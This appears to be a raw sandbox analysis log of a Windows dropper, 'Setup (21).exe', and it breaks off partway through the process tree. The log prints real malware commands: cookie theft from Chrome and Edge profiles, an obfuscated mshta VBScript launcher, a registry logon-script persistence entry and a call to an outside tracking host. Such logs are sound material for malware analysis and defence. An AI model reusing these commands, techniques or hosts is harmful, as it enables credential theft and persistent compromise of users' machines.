PID 3400 wrote to memory of 3828	3400	Setup (21).exe	IyAWo3HIaYK2enfqDaaLxk_Z.exe
PID 3400 wrote to memory of 1676	3400	Setup (21).exe	HGYCjbLD2lTVAEa8PUVxbSm2.exe
PID 3400 wrote to memory of 1676	3400	Setup (21).exe	HGYCjbLD2lTVAEa8PUVxbSm2.exe
PID 3400 wrote to memory of 1676	3400	Setup (21).exe	HGYCjbLD2lTVAEa8PUVxbSm2.exe
PID 3400 wrote to memory of 4016	3400	Setup (21).exe	d_rbRdAwkUM3FRfL059OI5jN.exe
PID 3400 wrote to memory of 4016	3400	Setup (21).exe	d_rbRdAwkUM3FRfL059OI5jN.exe
PID 3400 wrote to memory of 3424	3400	Setup (21).exe	up_RX3dLyP9fcF3fJmZOtovo.exe
PID 3400 wrote to memory of 3424	3400	Setup (21).exe	up_RX3dLyP9fcF3fJmZOtovo.exe
PID 3400 wrote to memory of 3364	3400	Setup (21).exe	UTvozCvgVVywSzZLa3TVaxAG.exe
PID 3400 wrote to memory of 3364	3400	Setup (21).exe	UTvozCvgVVywSzZLa3TVaxAG.exe
PID 3400 wrote to memory of 3364	3400	Setup (21).exe	UTvozCvgVVywSzZLa3TVaxAG.exe
PID 3400 wrote to memory of 3892	3400	Setup (21).exe	cPlKfUNTpg7mJXht2DhaDJOZ.exe
PID 3400 wrote to memory of 3892	3400	Setup (21).exe	cPlKfUNTpg7mJXht2DhaDJOZ.exe
PID 3400 wrote to memory of 3892	3400	Setup (21).exe	cPlKfUNTpg7mJXht2DhaDJOZ.exe
PID 3400 wrote to memory of 808	3400	Setup (21).exe	VPj0hUPAj0E3dJkevh_aWd6D.exe
PID 3400 wrote to memory of 808	3400	Setup (21).exe	VPj0hUPAj0E3dJkevh_aWd6D.exe
PID 3400 wrote to memory of 808	3400	Setup (21).exe	VPj0hUPAj0E3dJkevh_aWd6D.exe
PID 3400 wrote to memory of 3900	3400	Setup (21).exe	jT9ljWrB8H2SDmiwcZPQyNar.exe
PID 3400 wrote to memory of 3900	3400	Setup (21).exe	jT9ljWrB8H2SDmiwcZPQyNar.exe
PID 3400 wrote to memory of 3900	3400	Setup (21).exe	jT9ljWrB8H2SDmiwcZPQyNar.exe
PID 3400 wrote to memory of 1472	3400	Setup (21).exe	1875xlBprgCQ3gKw9xrizZX9.exe
PID 3400 wrote to memory of 1472	3400	Setup (21).exe	1875xlBprgCQ3gKw9xrizZX9.exe
PID 3400 wrote to memory of 1472	3400	Setup (21).exe	1875xlBprgCQ3gKw9xrizZX9.exe
PID 3400 wrote to memory of 2504	3400	Setup (21).exe	lDyGp02VzbDIUiSi84iUnU4h.exe
PID 3400 wrote to memory of 2504	3400	Setup (21).exe	lDyGp02VzbDIUiSi84iUnU4h.exe
PID 3400 wrote to memory of 2504	3400	Setup (21).exe	lDyGp02VzbDIUiSi84iUnU4h.exe
PID 3400 wrote to memory of 2304	3400	Setup (21).exe	Ksw2BPZMcDG5H5CumnoX5El7.exe
PID 3400 wrote to memory of 2304	3400	Setup (21).exe	Ksw2BPZMcDG5H5CumnoX5El7.exe
PID 3400 wrote to memory of 2304	3400	Setup (21).exe	Ksw2BPZMcDG5H5CumnoX5El7.exe
PID 3400 wrote to memory of 4040	3400	Setup (21).exe	nu51Bm0jwjCZXfWisMZjuUlk.exe
PID 3400 wrote to memory of 4040	3400	Setup (21).exe	nu51Bm0jwjCZXfWisMZjuUlk.exe
PID 3400 wrote to memory of 4040	3400	Setup (21).exe	nu51Bm0jwjCZXfWisMZjuUlk.exe
PID 3400 wrote to memory of 4028	3400	Setup (21).exe	6O3HGRIaWBdZoB20G7JWTmMP.exe
PID 3400 wrote to memory of 4028	3400	Setup (21).exe	6O3HGRIaWBdZoB20G7JWTmMP.exe
PID 3400 wrote to memory of 4028	3400	Setup (21).exe	6O3HGRIaWBdZoB20G7JWTmMP.exe
PID 3400 wrote to memory of 1016	3400	Setup (21).exe	GE8bIVNODDL62KupPYqp9x2h.exe
PID 3400 wrote to memory of 1016	3400	Setup (21).exe	GE8bIVNODDL62KupPYqp9x2h.exe
PID 3400 wrote to memory of 1016	3400	Setup (21).exe	GE8bIVNODDL62KupPYqp9x2h.exe
PID 3400 wrote to memory of 1284	3400	Setup (21).exe	yHGCwNSEUTB7dqa5o73ZeO50.exe
PID 3400 wrote to memory of 1284	3400	Setup (21).exe	yHGCwNSEUTB7dqa5o73ZeO50.exe
PID 3400 wrote to memory of 1284	3400	Setup (21).exe	yHGCwNSEUTB7dqa5o73ZeO50.exe
PID 3400 wrote to memory of 2596	3400	Setup (21).exe	NeKq7ifKebqVoGCQyqlPy4BS.exe
PID 3400 wrote to memory of 2596	3400	Setup (21).exe	NeKq7ifKebqVoGCQyqlPy4BS.exe
PID 3400 wrote to memory of 2596	3400	Setup (21).exe	NeKq7ifKebqVoGCQyqlPy4BS.exe
PID 3400 wrote to memory of 3640	3400	Setup (21).exe	ULxrP04rJhVhjWNB0VmX89T_.exe
PID 3400 wrote to memory of 3640	3400	Setup (21).exe	ULxrP04rJhVhjWNB0VmX89T_.exe
PID 3400 wrote to memory of 3640	3400	Setup (21).exe	ULxrP04rJhVhjWNB0VmX89T_.exe
PID 3400 wrote to memory of 1020	3400	Setup (21).exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
PID 3400 wrote to memory of 1020	3400	Setup (21).exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
PID 3400 wrote to memory of 1020	3400	Setup (21).exe	XJHS6Vx2mDoCXR6a61Ec6SWF.exe
PID 3400 wrote to memory of 1052	3400	Setup (21).exe	YyI5EDaPb9x7q8_KtpF3drC3.exe
PID 3400 wrote to memory of 1052	3400	Setup (21).exe	YyI5EDaPb9x7q8_KtpF3drC3.exe
PID 3400 wrote to memory of 1052	3400	Setup (21).exe	YyI5EDaPb9x7q8_KtpF3drC3.exe

C:\Users\Admin\AppData\Local\Temp\Setup (21).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (21).exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3400

C:\Users\Admin\Documents\1875xlBprgCQ3gKw9xrizZX9.exe
"C:\Users\Admin\Documents\1875xlBprgCQ3gKw9xrizZX9.exe"
2⤵
- Executes dropped EXE
PID:1472

C:\Users\Admin\Documents\1875xlBprgCQ3gKw9xrizZX9.exe
"C:\Users\Admin\Documents\1875xlBprgCQ3gKw9xrizZX9.exe"
3⤵
PID:10288

C:\Users\Admin\Documents\VPj0hUPAj0E3dJkevh_aWd6D.exe
"C:\Users\Admin\Documents\VPj0hUPAj0E3dJkevh_aWd6D.exe"
2⤵
- Executes dropped EXE
PID:808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 1708
3⤵
- Program crash
PID:5772

C:\Users\Admin\Documents\jT9ljWrB8H2SDmiwcZPQyNar.exe
"C:\Users\Admin\Documents\jT9ljWrB8H2SDmiwcZPQyNar.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3900

C:\Users\Admin\Documents\cPlKfUNTpg7mJXht2DhaDJOZ.exe
"C:\Users\Admin\Documents\cPlKfUNTpg7mJXht2DhaDJOZ.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3892

C:\Users\Admin\Documents\cPlKfUNTpg7mJXht2DhaDJOZ.exe
"C:\Users\Admin\Documents\cPlKfUNTpg7mJXht2DhaDJOZ.exe"
3⤵
- Executes dropped EXE
PID:4452

C:\Users\Admin\Documents\UTvozCvgVVywSzZLa3TVaxAG.exe
"C:\Users\Admin\Documents\UTvozCvgVVywSzZLa3TVaxAG.exe"
2⤵
- Executes dropped EXE
PID:3364

C:\Users\Admin\Documents\up_RX3dLyP9fcF3fJmZOtovo.exe
"C:\Users\Admin\Documents\up_RX3dLyP9fcF3fJmZOtovo.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3424

C:\Users\Admin\Documents\d_rbRdAwkUM3FRfL059OI5jN.exe
"C:\Users\Admin\Documents\d_rbRdAwkUM3FRfL059OI5jN.exe"
2⤵
- Executes dropped EXE
PID:4016

C:\Users\Admin\Documents\HGYCjbLD2lTVAEa8PUVxbSm2.exe
"C:\Users\Admin\Documents\HGYCjbLD2lTVAEa8PUVxbSm2.exe"
2⤵
- Executes dropped EXE
PID:1676

C:\Users\Admin\Documents\IyAWo3HIaYK2enfqDaaLxk_Z.exe
"C:\Users\Admin\Documents\IyAWo3HIaYK2enfqDaaLxk_Z.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3828

C:\Users\Admin\Documents\ym5vryTqDPCLWaLwkXNcpDF4.exe
"C:\Users\Admin\Documents\ym5vryTqDPCLWaLwkXNcpDF4.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2120

C:\Users\Admin\Documents\XUV6vPsYpCU5h0OX1KBr3ePA.exe
"C:\Users\Admin\Documents\XUV6vPsYpCU5h0OX1KBr3ePA.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3076

C:\Users\Admin\Documents\XUV6vPsYpCU5h0OX1KBr3ePA.exe
C:\Users\Admin\Documents\XUV6vPsYpCU5h0OX1KBr3ePA.exe
3⤵
- Executes dropped EXE
PID:4732

C:\Users\Admin\Documents\DN285WvFY40Vo3pQjrXP92K8.exe
"C:\Users\Admin\Documents\DN285WvFY40Vo3pQjrXP92K8.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1296

C:\Users\Admin\Documents\DN285WvFY40Vo3pQjrXP92K8.exe
C:\Users\Admin\Documents\DN285WvFY40Vo3pQjrXP92K8.exe
3⤵
- Executes dropped EXE
PID:4696

C:\Users\Admin\Documents\Ksw2BPZMcDG5H5CumnoX5El7.exe
"C:\Users\Admin\Documents\Ksw2BPZMcDG5H5CumnoX5El7.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2304

C:\Users\Admin\Documents\Ksw2BPZMcDG5H5CumnoX5El7.exe
"C:\Users\Admin\Documents\Ksw2BPZMcDG5H5CumnoX5El7.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2312

C:\Users\Admin\Documents\lDyGp02VzbDIUiSi84iUnU4h.exe
"C:\Users\Admin\Documents\lDyGp02VzbDIUiSi84iUnU4h.exe"
2⤵
- Executes dropped EXE
PID:2504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 484
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3632

C:\Users\Admin\Documents\6O3HGRIaWBdZoB20G7JWTmMP.exe
"C:\Users\Admin\Documents\6O3HGRIaWBdZoB20G7JWTmMP.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4028

C:\Users\Admin\Documents\6O3HGRIaWBdZoB20G7JWTmMP.exe
C:\Users\Admin\Documents\6O3HGRIaWBdZoB20G7JWTmMP.exe
3⤵
- Executes dropped EXE
PID:4760

C:\Users\Admin\Documents\nu51Bm0jwjCZXfWisMZjuUlk.exe
"C:\Users\Admin\Documents\nu51Bm0jwjCZXfWisMZjuUlk.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4040

C:\Users\Admin\Documents\NeKq7ifKebqVoGCQyqlPy4BS.exe
"C:\Users\Admin\Documents\NeKq7ifKebqVoGCQyqlPy4BS.exe"
2⤵
- Executes dropped EXE
PID:2596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2596 -s 676
3⤵
- Program crash
PID:4984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2596 -s 660
3⤵
- Program crash
PID:4956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2596 -s 680
3⤵
- Program crash
PID:5348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2596 -s 684
3⤵
- Program crash
PID:5808

C:\Users\Admin\Documents\yHGCwNSEUTB7dqa5o73ZeO50.exe
"C:\Users\Admin\Documents\yHGCwNSEUTB7dqa5o73ZeO50.exe"
2⤵
- Executes dropped EXE
PID:1284

C:\Users\Admin\Documents\yHGCwNSEUTB7dqa5o73ZeO50.exe
"C:\Users\Admin\Documents\yHGCwNSEUTB7dqa5o73ZeO50.exe" -q
3⤵
- Executes dropped EXE
PID:3080

C:\Users\Admin\Documents\GE8bIVNODDL62KupPYqp9x2h.exe
"C:\Users\Admin\Documents\GE8bIVNODDL62KupPYqp9x2h.exe"
2⤵
- Executes dropped EXE
PID:1016

C:\Users\Admin\Documents\ULxrP04rJhVhjWNB0VmX89T_.exe
"C:\Users\Admin\Documents\ULxrP04rJhVhjWNB0VmX89T_.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3640

C:\Program Files (x86)\Company\NewProduct\jooyu.exe
"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
3⤵
- Executes dropped EXE
PID:4456

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2252

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:5712

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:8376

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:9212

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
3⤵
- Executes dropped EXE
PID:4500

C:\Program Files (x86)\Company\NewProduct\customer3.exe
"C:\Program Files (x86)\Company\NewProduct\customer3.exe"
3⤵
PID:4540

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
- Executes dropped EXE
PID:2128

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:5492

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2308

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:5496

C:\Users\Admin\Documents\XJHS6Vx2mDoCXR6a61Ec6SWF.exe
"C:\Users\Admin\Documents\XJHS6Vx2mDoCXR6a61Ec6SWF.exe"
2⤵
- Executes dropped EXE
PID:1020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 676
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 492
3⤵
- Program crash
PID:3564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 660
3⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 700
3⤵
- Program crash
PID:5724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 1120
3⤵
- Program crash
PID:1432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 1160
3⤵
- Program crash
PID:5528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1020 -s 1104
3⤵
- Program crash
PID:4872

C:\Users\Admin\Documents\uED6jlI4PTuJuwIByjVd3_2r.exe
"C:\Users\Admin\Documents\uED6jlI4PTuJuwIByjVd3_2r.exe"
2⤵
- Executes dropped EXE
PID:956

C:\Users\Admin\AppData\Local\Temp\is-IPFS4.tmp\uED6jlI4PTuJuwIByjVd3_2r.tmp
"C:\Users\Admin\AppData\Local\Temp\is-IPFS4.tmp\uED6jlI4PTuJuwIByjVd3_2r.tmp" /SL5="$10280,138429,56832,C:\Users\Admin\Documents\uED6jlI4PTuJuwIByjVd3_2r.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4320

C:\Users\Admin\Documents\Q5pZL3v1i8oT6D1PqwPrbLAh.exe
"C:\Users\Admin\Documents\Q5pZL3v1i8oT6D1PqwPrbLAh.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2772

C:\Users\Admin\Documents\uGmE7ZNudzFhsulIQN2tk8Zf.exe
"C:\Users\Admin\Documents\uGmE7ZNudzFhsulIQN2tk8Zf.exe"
2⤵
- Executes dropped EXE
PID:1840

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRiPt: CLoSe( crEAteOBJeCt ( "wscrIPt.SHelL" ). RUN("C:\Windows\system32\cmd.exe /c cOPY /y ""C:\Users\Admin\Documents\uGmE7ZNudzFhsulIQN2tk8Zf.exe"" hBS_VbW.EXE && StArT hbS_VbW.EXe -p3auHHA5Pn7qj14hc1xRG9TH8FS & IF """" == """" for %A In (""C:\Users\Admin\Documents\uGmE7ZNudzFhsulIQN2tk8Zf.exe"" ) do taskkill -f -iM ""%~NxA"" ",0 , TRUE) )
3⤵
PID:4368

C:\Users\Admin\Documents\YyI5EDaPb9x7q8_KtpF3drC3.exe
"C:\Users\Admin\Documents\YyI5EDaPb9x7q8_KtpF3drC3.exe"
2⤵
- Executes dropped EXE
PID:1052

C:\Users\Admin\AppData\Local\Temp\is-S4LN3.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-S4LN3.tmp\Setup.exe" /Verysilent
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4444

C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
2⤵
- Executes dropped EXE
PID:220

C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
2⤵
- Executes dropped EXE
PID:1088

C:\Users\Admin\AppData\Local\Temp\is-KFBQ2.tmp\Inlog.tmp
"C:\Users\Admin\AppData\Local\Temp\is-KFBQ2.tmp\Inlog.tmp" /SL5="$10350,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:1764

C:\Users\Admin\AppData\Local\Temp\is-F6GP4.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-F6GP4.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
4⤵
PID:6472

C:\Users\Admin\AppData\Local\Temp\is-05TQ2.tmp\Setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-05TQ2.tmp\Setup.tmp" /SL5="$204A0,17352269,721408,C:\Users\Admin\AppData\Local\Temp\is-F6GP4.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
5⤵
PID:1040

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-A9C02.tmp\{app}\microsoft.cab -F:* %ProgramData%
6⤵
PID:7228

C:\Windows\SysWOW64\expand.exe
expand C:\Users\Admin\AppData\Local\Temp\is-A9C02.tmp\{app}\microsoft.cab -F:* C:\ProgramData
7⤵
PID:7968

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
6⤵
PID:10136

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
7⤵
PID:10300

C:\Users\Admin\AppData\Local\Temp\is-A9C02.tmp\{app}\vdi_compiler.exe
"C:\Users\Admin\AppData\Local\Temp\is-A9C02.tmp\{app}\vdi_compiler"
6⤵
PID:11100

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-A9C02.tmp\{app}\vdi_compiler.exe"
7⤵
PID:9712

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 4
8⤵
- Runs ping.exe
PID:6456

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
6⤵
PID:10568

C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
6⤵
PID:10404

C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:4492

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629412509 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
3⤵
PID:7800

C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
2⤵
- Executes dropped EXE
PID:2736

C:\Users\Admin\AppData\Local\Temp\is-LTPQJ.tmp\WEATHER Manager.tmp
"C:\Users\Admin\AppData\Local\Temp\is-LTPQJ.tmp\WEATHER Manager.tmp" /SL5="$1035E,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4784

C:\Users\Admin\AppData\Local\Temp\is-KLSII.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-KLSII.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
4⤵
PID:4600

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-KLSII.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-KLSII.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629412509 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
5⤵
PID:5292

C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
"C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
2⤵
- Executes dropped EXE
PID:4860

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
3⤵
PID:6328

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
4⤵
- Kills process with taskkill
PID:7916

C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
2⤵
- Executes dropped EXE
PID:4420

C:\Users\Admin\AppData\Local\Temp\is-CJ9GD.tmp\MediaBurner2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-CJ9GD.tmp\MediaBurner2.tmp" /SL5="$10388,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5432

C:\Users\Admin\AppData\Local\Temp\is-3UD6R.tmp\3377047_logo_media.exe
"C:\Users\Admin\AppData\Local\Temp\is-3UD6R.tmp\3377047_logo_media.exe" /S /UID=burnerch2
4⤵
PID:4104

C:\Program Files\Windows Photo Viewer\AITNGSZKWN\ultramediaburner.exe
"C:\Program Files\Windows Photo Viewer\AITNGSZKWN\ultramediaburner.exe" /VERYSILENT
5⤵
PID:6476

C:\Users\Admin\AppData\Local\Temp\is-4T9EN.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4T9EN.tmp\ultramediaburner.tmp" /SL5="$2038A,281924,62464,C:\Program Files\Windows Photo Viewer\AITNGSZKWN\ultramediaburner.exe" /VERYSILENT
6⤵
PID:4556

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
7⤵
PID:6324

C:\Users\Admin\AppData\Local\Temp\26-64098-51c-ddf94-4f51d3b6c78fe\SHobudirivo.exe
"C:\Users\Admin\AppData\Local\Temp\26-64098-51c-ddf94-4f51d3b6c78fe\SHobudirivo.exe"
5⤵
- Executes dropped EXE
PID:5492

C:\Users\Admin\AppData\Local\Temp\db-ddbc2-321-79789-25d57c3661132\Sabycorilu.exe
"C:\Users\Admin\AppData\Local\Temp\db-ddbc2-321-79789-25d57c3661132\Sabycorilu.exe"
5⤵
PID:7320

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cyxge2dc.ptq\GcleanerEU.exe /eufive & exit
6⤵
PID:8268

C:\Users\Admin\AppData\Local\Temp\cyxge2dc.ptq\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\cyxge2dc.ptq\GcleanerEU.exe /eufive
7⤵
PID:8896

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l3uh3qyn.kzs\installer.exe /qn CAMPAIGN="654" & exit
6⤵
PID:8432

C:\Users\Admin\AppData\Local\Temp\l3uh3qyn.kzs\installer.exe
C:\Users\Admin\AppData\Local\Temp\l3uh3qyn.kzs\installer.exe /qn CAMPAIGN="654"
7⤵
PID:8964

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\upjy1cvv.s5s\ufgaa.exe & exit
6⤵
PID:8580

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ux4nz2xp.txw\anyname.exe & exit
6⤵
PID:9036

C:\Users\Admin\AppData\Local\Temp\ux4nz2xp.txw\anyname.exe
C:\Users\Admin\AppData\Local\Temp\ux4nz2xp.txw\anyname.exe
7⤵
PID:8208

C:\Users\Admin\AppData\Local\Temp\ux4nz2xp.txw\anyname.exe
"C:\Users\Admin\AppData\Local\Temp\ux4nz2xp.txw\anyname.exe" -q
8⤵
PID:9140

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ysc0zunc.h52\gcleaner.exe /mixfive & exit
6⤵
PID:8576

C:\Users\Admin\AppData\Local\Temp\ysc0zunc.h52\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\ysc0zunc.h52\gcleaner.exe /mixfive
7⤵
